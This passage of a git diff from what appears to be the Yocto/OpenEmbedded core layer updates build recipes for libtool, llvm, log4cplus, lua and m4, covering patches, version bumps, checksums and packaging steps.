-I also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
-
--Khem Raj <raj.khem@gmail.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1215,28 +1215,28 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
- # ----------------
- AC_DEFUN([_LT_WITH_SYSROOT],
- [AC_MSG_CHECKING([for sysroot])
--AC_ARG_WITH([sysroot],
--[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
-+AC_ARG_WITH([libtool-sysroot],
-+[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
- [Search for dependent libraries within DIR (or the compiler's sysroot
- if not specified).])],
--[], [with_sysroot=no])
-+[], [with_libtool_sysroot=no])
-
- dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
--case $with_sysroot in #(
-+case $with_libtool_sysroot in #(
- yes)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
- fi
- ;; #(
- /*)
-- lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"`
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
- no|'')
- ;; #(
- *)
-- AC_MSG_RESULT([$with_sysroot])
-+ AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
- ;;
- esac
-diff --git a/tests/sysroot.at b/tests/sysroot.at
---- a/tests/sysroot.at
-+++ b/tests/sysroot.at
-@@ -64,7 +64,7 @@ while read file; do
- done])
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -114,7 +114,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-@@ -155,7 +155,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-diff --git a/tests/testsuite b/tests/testsuite
---- a/tests/testsuite
-+++ b/tests/testsuite
-@@ -48945,7 +48945,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49154,7 +49154,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49342,7 +49342,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49694,7 +49694,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49903,7 +49903,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50091,7 +50091,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50443,7 +50443,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -50652,7 +50652,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50840,7 +50840,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/trailingslash.patch b/meta/recipes-devtools/libtool/libtool/trailingslash.patch
deleted file mode 100644
index e8824d7db9..0000000000
--- a/meta/recipes-devtools/libtool/libtool/trailingslash.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Pending
-
-A command like /bin/sh ../../i586-poky-linux-libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/media/data1/builds/poky1/tmp/work/core2-poky-linux/gnome-keyring-2.26.1-r1/image/usr/lib/gnome-keyring/standalone/' fails (e.g. gnome-keyring or pulseaudio)
-
-This is because libdir has a trailing slash which breaks the comparision.
-
-RP 2/1/10
-
-Merged a patch received from Gary Thomas <gary@mlbassoc.com>
-
-Date: 2010/07/12
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -2356,8 +2356,15 @@ func_mode_install ()
- func_append dir "$objdir"
-
- if test -n "$relink_command"; then
-+ # Strip any trailing slash from the destination.
-+ func_stripname '' '/' "$libdir"
-+ destlibdir=$func_stripname_result
-+
-+ func_stripname '' '/' "$destdir"
-+ s_destdir=$func_stripname_result
-+
- # Determine the prefix the user has applied to our future dir.
-- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
-+ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
diff --git a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch b/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
deleted file mode 100644
index 6af99f327c..0000000000
--- a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Upstream-Status: Pending
-
-When using sysroot we should append it to libdir, which is helpful in
-cross builds as the system is staged in the sysroot. For normal builds,
-i.e. when lt_sysroot is not set, it will still behave the same and add
--L/usr/lib to the relink command.
-
--Khem Raj <raj.khem@gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -6421,7 +6421,7 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-- add_dir=-L$libdir
-+ add_dir="-L$lt_sysroot$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
diff --git a/meta/recipes-devtools/libtool/libtool_2.4.6.bb b/meta/recipes-devtools/libtool/libtool_2.4.6.bb
index a5715faaa9..44a4950574 100644
--- a/meta/recipes-devtools/libtool/libtool_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool_2.4.6.bb
@@ -1,21 +1,21 @@
require libtool-${PV}.inc
-SRC_URI += "file://multilib.patch file://debian-no_hostname.patch"
+SRC_URI += "file://multilib.patch"
-RDEPENDS_${PN} += "bash"
+RDEPENDS:${PN} += "bash"
#
# We want the results of libtool-cross preserved - don't stage anything ourselves.
#
-SYSROOT_DIRS_BLACKLIST += " \
+SYSROOT_DIRS_IGNORE += " \
${bindir} \
${datadir}/aclocal \
${datadir}/libtool/build-aux \
"
-ACLOCALEXTRAPATH_class-target = ""
+ACLOCALEXTRAPATH:class-target = ""
-do_install_append () {
+do_install:append () {
sed -e 's@--sysroot=${STAGING_DIR_HOST}@@g' \
-e "s@${DEBUG_PREFIX_MAP}@@g" \
-e 's@${STAGING_DIR_HOST}@@g' \
diff --git a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
index 508eade326..86c55ded7b 100644
--- a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
@@ -2,15 +2,14 @@ require libtool-${PV}.inc
FILESEXTRAPATHS =. "${FILE_DIRNAME}/libtool:"
-SRC_URI += "file://prefix.patch"
SRC_URI += "file://fixinstall.patch"
inherit nativesdk
S = "${WORKDIR}/libtool-${PV}"
-FILES_${PN} += "${datadir}/libtool/*"
+FILES:${PN} += "${datadir}/libtool/*"
-do_configure_prepend () {
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -20,12 +19,12 @@ do_configure_prepend () {
do_install () {
autotools_do_install
install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/
+ install -m 0755 libtool ${D}${bindir}/
}
SYSROOT_PREPROCESS_FUNCS += "libtoolnativesdk_sysroot_preprocess"
libtoolnativesdk_sysroot_preprocess () {
install -d ${SYSROOT_DESTDIR}${bindir_crossscripts}/
- install -m 755 ${D}${bindir}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/${HOST_SYS}-libtool
+ install -m 755 ${D}${bindir}/libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/libtool
}
diff --git a/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
new file mode 100644
index 0000000000..48af6fc283
--- /dev/null
+++ b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
@@ -0,0 +1,31 @@
+From 86940d87026432683fb6741cd8a34d3b9b18e40d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 27 Nov 2020 10:11:08 +0000
+Subject: [PATCH] AsmMatcherEmitter: sort ClassInfo lists by name as well
+
+Otherwise, there are instances which are identical in
+every other field and therefore sort non-reproducibly
+(which breaks binary and source reproducibiliy).
+
+Upstream-Status: Submitted [https://reviews.llvm.org/D97477]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ llvm/utils/TableGen/AsmMatcherEmitter.cpp | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/llvm/utils/TableGen/AsmMatcherEmitter.cpp b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+index ccf0959389b..1f801e83b7d 100644
+--- a/llvm/utils/TableGen/AsmMatcherEmitter.cpp
++++ b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+@@ -359,7 +359,10 @@ public:
+ // name of a class shouldn't be significant. However, some of the backends
+ // accidentally rely on this behaviour, so it will have to stay like this
+ // until they are fixed.
+- return ValueName < RHS.ValueName;
++ if (ValueName != RHS.ValueName)
++ return ValueName < RHS.ValueName;
++ // All else being equal, we should sort by name, for source and binary reproducibility
++ return Name < RHS.Name;
+ }
+ };
+
diff --git a/meta/recipes-devtools/llvm/llvm_git.bb b/meta/recipes-devtools/llvm/llvm_git.bb
index 5f9277fc0f..9400bf0821 100644
--- a/meta/recipes-devtools/llvm/llvm_git.bb
+++ b/meta/recipes-devtools/llvm/llvm_git.bb
@@ -10,27 +10,31 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
DEPENDS = "libffi libxml2 zlib libedit ninja-native llvm-native"
-RDEPENDS_${PN}_append_class-target = " ncurses-terminfo"
+COMPATIBLE_HOST:riscv64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
+
+RDEPENDS:${PN}:append:class-target = " ncurses-terminfo"
inherit cmake pkgconfig
PROVIDES += "llvm${PV}"
-MAJOR_VERSION = "9"
-MINOR_VERSION = "0"
-PATCH_VERSION = "0"
+PV = "13.0.1"
-PV = "${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}"
+MAJOR_VERSION = "${@oe.utils.trim_version("${PV}", 1)}"
LLVM_RELEASE = "${PV}"
LLVM_DIR = "llvm${LLVM_RELEASE}"
BRANCH = "release/${MAJOR_VERSION}.x"
-SRCREV = "0399d5a9682b3cef71c653373e38890c63c4c365"
-SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH} \
+SRCREV = "75e33f71c2dae584b13a7d1186ae0a038ba98838"
+SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH};protocol=https \
file://0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch;striplevel=2 \
file://0007-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
- "
+ file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2 \
+ "
+
+UPSTREAM_CHECK_GITTAGREGEX = "llvmorg-(?P<pver>\d+(\.\d+)+)"
S = "${WORKDIR}/git/llvm"
@@ -58,8 +62,8 @@ def get_llvm_host_arch(bb, d):
#
LLVM_TARGETS ?= "AMDGPU;${@get_llvm_host_arch(bb, d)}"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4t = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DLLVM_ENABLE_EXPENSIVE_CHECKS=OFF \
@@ -75,30 +79,35 @@ EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
-G Ninja"
-EXTRA_OECMAKE_append_class-target = "\
+EXTRA_OECMAKE:append:class-target = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-EXTRA_OECMAKE_append_class-nativesdk = "\
+EXTRA_OECMAKE:append:class-nativesdk = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-do_configure_prepend() {
+do_configure:prepend() {
# Fix paths in llvm-config
sed -i "s|sys::path::parent_path(CurrentPath))\.str()|sys::path::parent_path(sys::path::parent_path(CurrentPath))).str()|g" ${S}/tools/llvm-config/llvm-config.cpp
sed -ri "s#/(bin|include|lib)(/?\")#/\1/${LLVM_DIR}\2#g" ${S}/tools/llvm-config/llvm-config.cpp
sed -ri "s#lib/${LLVM_DIR}#${baselib}/${LLVM_DIR}#g" ${S}/tools/llvm-config/llvm-config.cpp
}
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/tools/llvm-config/BuildVariables.inc
+}
+
do_compile() {
ninja -v ${PARALLEL_MAKE}
}
-do_compile_class-native() {
+do_compile:class-native() {
ninja -v ${PARALLEL_MAKE} llvm-config llvm-tblgen
}
@@ -133,7 +142,7 @@ do_install() {
rm -rf ${D}${libdir}/${LLVM_DIR}/libLTO.so
}
-do_install_class-native() {
+do_install:class-native() {
install -D -m 0755 ${B}/bin/llvm-tblgen ${D}${bindir}/llvm-tblgen${PV}
install -D -m 0755 ${B}/bin/llvm-config ${D}${bindir}/llvm-config${PV}
install -D -m 0755 ${B}/lib/libLLVM-${MAJOR_VERSION}.so ${D}${libdir}/libLLVM-${MAJOR_VERSION}.so
@@ -141,39 +150,39 @@ do_install_class-native() {
PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-libllvm ${PN}-liboptremarks ${PN}-liblto"
-RRECOMMENDS_${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
+RRECOMMENDS:${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
-FILES_${PN}-bugpointpasses = "\
+FILES:${PN}-bugpointpasses = "\
${libdir}/${LLVM_DIR}/BugpointPasses.so \
"
-FILES_${PN}-libllvm = "\
+FILES:${PN}-libllvm = "\
${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.so \
${libdir}/libLLVM-${MAJOR_VERSION}.so \
"
-FILES_${PN}-liblto += "\
+FILES:${PN}-liblto += "\
${libdir}/${LLVM_DIR}/libLTO.so.* \
"
-FILES_${PN}-liboptremarks += "\
+FILES:${PN}-liboptremarks += "\
${libdir}/${LLVM_DIR}/libRemarks.so.* \
"
-FILES_${PN}-llvmhello = "\
+FILES:${PN}-llvmhello = "\
${libdir}/${LLVM_DIR}/LLVMHello.so \
"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${libdir}/${LLVM_DIR}/llvm-config \
${libdir}/${LLVM_DIR}/libRemarks.so \
- ${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}.so \
+ ${libdir}/${LLVM_DIR}/libLLVM-${PV}.so \
"
-FILES_${PN}-staticdev += "\
+FILES:${PN}-staticdev += "\
${libdir}/${LLVM_DIR}/*.a \
"
-INSANE_SKIP_${PN}-libllvm += "dev-so"
+INSANE_SKIP:${PN}-libllvm += "dev-so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb b/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb
new file mode 100644
index 0000000000..3798b93f76
--- /dev/null
+++ b/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb
@@ -0,0 +1,19 @@
+SUMMARY = "log4cplus provides a simple C++ logging API for log management"
+SECTION = "libs"
+HOMEPAGE = "http://sourceforge.net/projects/log4cplus/"
+DESCRIPTION = "log4cplus is a simple to use C++ logging API providing thread-safe, flexible, and arbitrarily granular control over log management and configuration. It is modelled after the Java log4j API."
+BUGTRACKER = "http://sourceforge.net/p/log4cplus/bugs/"
+
+LICENSE = "Apache-2.0 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=41e8e060c26822886b592ab4765c756b"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}-stable/${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "086451c7e7c582862cbd6c60d87bb6d9d63c4b65321dba85fa71766382f7ec6d"
+
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/log4cplus/files/log4cplus-stable/"
+UPSTREAM_CHECK_REGEX = "log4cplus-stable/(?P<pver>\d+(\.\d+)+)/"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/lua/lua/lua.pc.in b/meta/recipes-devtools/lua/lua/lua.pc.in
new file mode 100644
index 0000000000..c27e86e85d
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/lua.pc.in
@@ -0,0 +1,10 @@
+prefix=/usr
+libdir=${prefix}/lib
+includedir=${prefix}/include
+
+Name: Lua
+Description: Lua language engine
+Version: @VERSION@
+Requires:
+Libs: -L${libdir} -llua -lm -ldl
+Cflags: -I${includedir}
diff --git a/meta/recipes-devtools/lua/lua/run-ptest b/meta/recipes-devtools/lua/lua/run-ptest
new file mode 100644
index 0000000000..8e085e1af9
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/run-ptest
@@ -0,0 +1,19 @@
+#!/bin/sh
+
+cd test
+lua -e"_U=true" all.lua > lua-test.tmp
+
+echo "--- test output ---"
+cat lua-test.tmp
+echo ""
+echo ""
+echo "--- ptest result ---"
+
+grep "final OK \!\!\!" lua-test.tmp > /dev/null
+if [ $? -eq 0 ]; then
+ echo "PASS: lua"
+else
+ echo "FAIL: lua"
+fi
+
+rm -f lua-test.tmp
diff --git a/meta/recipes-devtools/lua/lua_5.4.4.bb b/meta/recipes-devtools/lua/lua_5.4.4.bb
new file mode 100644
index 0000000000..f50328ecfd
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua_5.4.4.bb
@@ -0,0 +1,57 @@
+DESCRIPTION = "Lua is a powerful light-weight programming language designed \
+for extending applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://doc/readme.html;beginline=307;endline=330;md5=79c3f6b19ad05efe24c1681f025026bb"
+HOMEPAGE = "http://www.lua.org/"
+
+SRC_URI = "http://www.lua.org/ftp/lua-${PV}.tar.gz;name=tarballsrc \
+ file://lua.pc.in \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'http://www.lua.org/tests/lua-${PV_testsuites}-tests.tar.gz;name=tarballtest file://run-ptest ', '', d)} \
+ "
+
+# if no test suite matches PV release of Lua exactly, download the suite for the closest Lua release.
+PV_testsuites = "5.4.4"
+
+SRC_URI[tarballsrc.sha256sum] = "164c7849653b80ae67bec4b7473b884bf5cc8d2dca05653475ec2ed27b9ebf61"
+SRC_URI[tarballtest.sha256sum] = "04d28355cd67a2299dfe5708b55a0ff221ccb1a3907a3113cc103ccc05ac6aad"
+
+inherit pkgconfig binconfig ptest
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = ",,readline"
+
+TARGET_CC_ARCH += " -fPIC ${LDFLAGS}"
+EXTRA_OEMAKE = "'CC=${CC} -fPIC' 'MYCFLAGS=${CFLAGS} -fPIC' MYLDFLAGS='${LDFLAGS}' 'AR=ar rcD' 'RANLIB=ranlib -D'"
+
+do_configure:prepend() {
+ sed -i -e s:/usr/local:${prefix}:g src/luaconf.h
+ sed -i -e s:lib/lua/:${baselib}/lua/:g src/luaconf.h
+}
+
+do_compile () {
+ oe_runmake ${@bb.utils.contains('PACKAGECONFIG', 'readline', 'linux-readline', 'linux', d)}
+}
+
+do_install () {
+ oe_runmake \
+ 'INSTALL_TOP=${D}${prefix}' \
+ 'INSTALL_BIN=${D}${bindir}' \
+ 'INSTALL_INC=${D}${includedir}/' \
+ 'INSTALL_MAN=${D}${mandir}/man1' \
+ 'INSTALL_SHARE=${D}${datadir}/lua' \
+ 'INSTALL_LIB=${D}${libdir}' \
+ 'INSTALL_CMOD=${D}${libdir}/lua/5.4' \
+ install
+ install -d ${D}${libdir}/pkgconfig
+
+ sed -e s/@VERSION@/${PV}/ ${WORKDIR}/lua.pc.in > ${WORKDIR}/lua.pc
+ install -m 0644 ${WORKDIR}/lua.pc ${D}${libdir}/pkgconfig/
+ rmdir ${D}${datadir}/lua/5.4
+ rmdir ${D}${datadir}/lua
+}
+
+do_install_ptest () {
+ cp -R --no-dereference --preserve=mode,links -v ${WORKDIR}/lua-${PV_testsuites}-tests ${D}${PTEST_PATH}/test
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/m4/m4-1.4.18.inc b/meta/recipes-devtools/m4/m4-1.4.18.inc
deleted file mode 100644
index a9b63c1bf6..0000000000
--- a/meta/recipes-devtools/m4/m4-1.4.18.inc
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Traditional Unix macro processor"
-HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
-DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
-compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
-GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
-
-inherit autotools texinfo ptest
-
-SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
- file://ac_config_links.patch \
- file://m4-1.4.18-glibc-change-work-around.patch \
- "
-SRC_URI_append_class-target = " file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://run-ptest \
- file://serial-tests-config.patch \
- file://0001-test-getopt-posix-fix.patch \
- "
-
-SRC_URI[md5sum] = "a077779db287adf4e12a035029002d28"
-SRC_URI[sha256sum] = "ab2633921a5cd38e48797bf5521ad259bdc4b979078034a3b790d7fec5493fab"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-EXTRA_OECONF += "--without-libsigsegv-prefix"
-
-EXTRA_OEMAKE += "'infodir=${infodir}'"
-
-do_compile_ptest() {
- cd ${B}/tests
- sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- cp -r ${B}/tests ${D}${PTEST_PATH}
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
- -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
- sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
- chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
- ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
- ${D}${PTEST_PATH}/tests/test-xalloc-die
-}
-
-
-RDEPENDS_${PN}-ptest += "make coreutils diffutils"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- locale-base-fr-fr.iso-8859-1 \
-"
-
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
-
diff --git a/meta/recipes-devtools/m4/m4-1.4.19.inc b/meta/recipes-devtools/m4/m4-1.4.19.inc
new file mode 100644
index 0000000000..2adf4de6f2
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4-1.4.19.inc
@@ -0,0 +1,62 @@
+SUMMARY = "Traditional Unix macro processor"
+HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
+DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
+compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
+GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
+
+inherit autotools texinfo ptest gettext
+
+SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
+ file://ac_config_links.patch \
+ file://0001-sigsegv-Fix-build-on-ppc-musl.patch \
+ "
+SRC_URI:append:class-target = " file://run-ptest \
+ file://serial-tests-config.patch \
+ "
+
+SRC_URI[md5sum] = "f4a2b0284d80353b995f8ef2385ed73c"
+SRC_URI[sha256sum] = "3be4a26d825ffdfda52a56fc43246456989a3630093cced3fbddf4771ee58a70"
+
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464\
+ file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+EXTRA_OECONF += "--without-libsigsegv-prefix"
+
+EXTRA_OEMAKE += "'infodir=${infodir}'"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ cp -r ${B}/tests ${D}${PTEST_PATH}
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
